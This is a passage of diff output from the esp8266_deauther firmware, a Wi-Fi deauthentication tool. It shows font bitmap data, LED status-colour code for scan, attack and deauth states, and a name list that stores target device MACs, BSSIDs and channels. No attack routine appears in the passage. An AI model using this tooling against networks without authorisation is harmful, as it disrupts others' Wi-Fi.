0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
|
||||
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
|
||||
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
|
||||
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
|
||||
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
|
||||
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
|
||||
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
|
||||
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
|
||||
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
|
||||
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
|
||||
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
|
||||
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
|
||||
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214
|
||||
0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215
|
||||
0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216
|
||||
0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218
|
||||
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219
|
||||
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222
|
||||
0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226
|
||||
0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228
|
||||
0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229
|
||||
0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237
|
||||
0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238
|
||||
0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239
|
||||
0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244
|
||||
0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253
|
||||
0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254
|
||||
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
|
||||
};
|
||||
|
||||
#endif // ifndef DisplayUI_h
|
||||
205
enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp
Executable file
205
enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp
Executable file
@@ -0,0 +1,205 @@
|
||||
#include "LED.h"
|
||||
|
||||
LED::LED() {}
|
||||
|
||||
LED::~LED() {
|
||||
if (led) delete led;
|
||||
}
|
||||
|
||||
void LED::setup() {
|
||||
#if defined(DIGITAL_LED)
|
||||
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(RGB_LED)
|
||||
led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||
led->setup();
|
||||
#endif // if defined(DIGITAL_LED)
|
||||
}
|
||||
|
||||
void LED::update() {
|
||||
if (!tempEnabled || !led) return;
|
||||
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||
else setMode(LED_MODE::IDLE, false);
|
||||
}
|
||||
|
||||
void LED::setMode(uint8_t mode, bool force) {
|
||||
if (!led) return;
|
||||
|
||||
if ((mode != LED::mode) || force) {
|
||||
LED::mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case LED_MODE::OFF:
|
||||
led->setColor(0, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::SCAN:
|
||||
led->setColor(0, 0, 255);
|
||||
break;
|
||||
|
||||
case LED_MODE::ATTACK:
|
||||
led->setColor(255, 255, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::DEAUTH:
|
||||
led->setColor(255, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::IDLE:
|
||||
led->setColor(0, 255, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
// debug output
|
||||
if (output) {
|
||||
char s[30];
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
led->setColor(r, g, b);
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
led->setBrightness(brightness);
|
||||
setColor(r, g, b, output);
|
||||
}
|
||||
|
||||
void LED::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void LED::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool LED::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
// ===== DigitalLED ===== //
|
||||
LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||
LED::DigitalLED::anode = anode;
|
||||
LED::DigitalLED::rPin = rPin;
|
||||
LED::DigitalLED::gPin = gPin;
|
||||
LED::DigitalLED::bPin = bPin;
|
||||
}
|
||||
|
||||
LED::DigitalLED::~DigitalLED() {}
|
||||
|
||||
void LED::DigitalLED::setup() {
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if (anode) {
|
||||
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||
} else {
|
||||
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||
}
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setBrightness(uint8_t brightness) {}
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
// ===== AnalogRGBLED ===== //
|
||||
LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||
LED::AnalogRGBLED::anode = anode;
|
||||
LED::AnalogRGBLED::rPin = rPin;
|
||||
LED::AnalogRGBLED::gPin = gPin;
|
||||
LED::AnalogRGBLED::bPin = bPin;
|
||||
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::AnalogRGBLED::~AnalogRGBLED() {}
|
||||
|
||||
void LED::AnalogRGBLED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||
|
||||
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||
|
||||
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||
|
||||
if (anode) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(rPin, r);
|
||||
analogWrite(gPin, g);
|
||||
analogWrite(bPin, b);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
LED::AnalogRGBLED::brightness = brightness;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
// ===== NeopixelLED ===== //
|
||||
LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||
strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE);
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::NeopixelLED::~NeopixelLED() {
|
||||
delete strip;
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setup() {
|
||||
strip->begin();
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
int num = strip->numPixels();
|
||||
|
||||
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
strip->setBrightness(brightness);
|
||||
}
|
||||
#endif
|
||||
107
enp8266/esp8266_deauther-master/esp8266_deauther/LED.h
Executable file
107
enp8266/esp8266_deauther-master/esp8266_deauther/LED.h
Executable file
@@ -0,0 +1,107 @@
|
||||
#ifndef LED_h
|
||||
#define LED_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class LED {
|
||||
public:
|
||||
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||
|
||||
LED();
|
||||
~LED();
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
class StatusLED {
|
||||
public:
|
||||
virtual ~StatusLED() = default;
|
||||
|
||||
virtual void setup() = 0;
|
||||
|
||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||
virtual void setBrightness(uint8_t brightness) = 0;
|
||||
};
|
||||
#ifdef DIGITAL_LED
|
||||
class DigitalLED : public StatusLED {
|
||||
public:
|
||||
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||
~DigitalLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
};
|
||||
#endif
|
||||
#ifdef RGB_LED
|
||||
class AnalogRGBLED : public StatusLED {
|
||||
public:
|
||||
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||
~AnalogRGBLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
uint8_t brightness = 0;
|
||||
};
|
||||
#endif
|
||||
#ifdef NEOPIXEL_LED
|
||||
class NeopixelLED : public StatusLED {
|
||||
public:
|
||||
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||
~NeopixelLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
Adafruit_NeoPixel* strip;
|
||||
};
|
||||
#endif
|
||||
bool tempEnabled = true;
|
||||
uint8_t mode = LED_MODE::OFF;
|
||||
StatusLED* led = NULL;
|
||||
};
|
||||
|
||||
#endif // ifndef LED_h
|
||||
511
enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp
Executable file
511
enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp
Executable file
@@ -0,0 +1,511 @@
|
||||
#include "Names.h"
|
||||
|
||||
Names::Names() {
|
||||
list = new SimpleList<Device>;
|
||||
}
|
||||
|
||||
void Names::load() {
|
||||
internal_removeAll();
|
||||
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||
4), false);
|
||||
sort();
|
||||
}
|
||||
|
||||
prnt(N_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void Names::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::save(bool force) {
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
|
||||
String buf = String(OPEN_BRACKET); // [
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET); // ]
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(N_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void Names::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::sort() {
|
||||
list->setCompare([](Device& a, Device& b) -> int {
|
||||
return memcmp(a.mac, b.mac, 6);
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Names::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(N_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
bool Names::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
|
||||
int Names::findID(uint8_t* mac) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String Names::find(uint8_t* mac) {
|
||||
int num = findID(mac);
|
||||
|
||||
if (num >= 0) return getName(num);
|
||||
else return String();
|
||||
}
|
||||
|
||||
void Names::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Names::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void Names::printAll() {
|
||||
prntln(N_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Names::printSelected() {
|
||||
prntln(N_TABLE_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(N_ERROR_NO_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
